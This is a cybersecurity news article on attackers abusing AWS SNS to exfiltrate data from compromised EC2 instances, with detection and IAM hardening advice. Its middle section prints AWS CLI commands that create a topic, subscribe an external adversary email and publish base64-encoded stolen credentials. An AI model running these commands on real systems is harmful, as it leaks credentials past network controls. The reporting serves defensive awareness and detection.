Cyber Security News

AWS SNS Abused To Exfiltrate Data & Phishing Attack

Amazon Web Services Simple Notification Service (AWS SNS) has emerged as a new vector for malicious actors to exfiltrate sensitive data and conduct phishing campaigns.

This pub/sub messaging service, designed to enable application-to-person and application-to-application communications, is increasingly being exploited by attackers seeking to bypass traditional security controls and network monitoring.

The attacks leverage legitimate AWS functionality to create SNS topics, subscribe external email addresses, and publish sensitive data through API calls that appear as normal AWS service usage.

This technique effectively bypasses security groups, network ACLs, and other traditional network-based protections because all communication occurs within trusted AWS infrastructure.

Analysts at Elastic Security Labs identified that adversaries with access to EC2 instances can exploit attached IAM roles that have SNS permissions to establish exfiltration channels.

Their research demonstrated how attackers can use native AWS CLI commands to create topics and subscribe external email addresses that receive the stolen data.

The exfiltration technique is particularly concerning because it leaves minimal forensic evidence and blends with legitimate traffic.

Organizations with permissive IAM policies or monitoring gaps may not detect this activity until after sensitive data has been compromised.

The technical implementation of this attack is straightforward and requires only basic AWS CLI knowledge.

After gaining access to an EC2 instance, attackers can execute a series of commands to establish the exfiltration channel:-

# Create SNS topic and capture its ARN
TOPIC_ARN=$(aws sns create-topic --name "whitebox-sns-topic" --query 'TopicArn' --output text)

# Subscribe external email to the topic
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol email --notification-endpoint "adversary@protonmail.com"

# Base64 encode stolen credentials and publish to topic
BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)
aws sns publish --topic-arn "$TOPIC_ARN" --message "$BASE64_CONTENT" --subject "Encoded Credentials from EC2"
Workflow for data exfiltration via AWS SNS (Source – Elastic)

Detection efforts should focus on CloudTrail logs for unusual SNS API calls, particularly CreateTopic, Subscribe, and Publish actions from EC2 instance roles.

Elastic Security Labs provided hunting queries that identify anomalous SNS activity by monitoring for rare user identities creating topics or subscribing with email protocols.

Security teams are advised to implement strict IAM policies following the principle of least privilege and enable comprehensive logging of SNS activities to mitigate this emerging threat vector.

Are you from SOC/DFIR Teams? – Analyse Malware Incidents & get live Access with ANY.RUN -> Start Now for Free.

Tushar Subhra Dutta

Tushar is a senior cybersecurity and breach reporter. He specializes in covering cybersecurity news, trends, and emerging threats, data breaches, and malware attacks. With years of experience, he brings clarity and depth to complex security topics.

Recent Posts

Google Chrome Fixes 83 Security Flaws, Including 5 Critical Ones that Could Enable RCE Attacks

Google released a Chrome security update that addresses 83 vulnerabilities, including five critical use-after-free flaws…

48 minutes ago

Hackers Breach Global Shipping Giant Maersk and Claim Theft of 100GB of Logistics Data

A.P. Moller–Maersk has confirmed that hackers accessed an older IT system and extracted data, as…

1 hour ago

Microsoft Warns Hackers Are Using GSocket Backdoors to Keep Linux Servers Compromised After Patching

Microsoft has warned that attackers are using a free remote access tool called GSocket to…

2 hours ago

Hackers Hijack 4,837 GitHub Accounts to Target 61,764 Repositories With CI Secret-Stealing Malware

A threat actor has used stolen GitHub credentials to push a secret-stealing payload into tens…

3 hours ago

Palo Alto PAN-OS RCE Flaw Allows Attackers to Execute Arbitrary Code With Root Privileges

Palo Alto Networks has disclosed a remote code execution vulnerability in PAN-OS software running on…

3 hours ago

Top 10 Best Cybersecurity Maturity Assessment Tools in 2026 [Ranked & Scored]

The board’s simplest hard question “how good are we, versus whom?” has four honest answers…

4 hours ago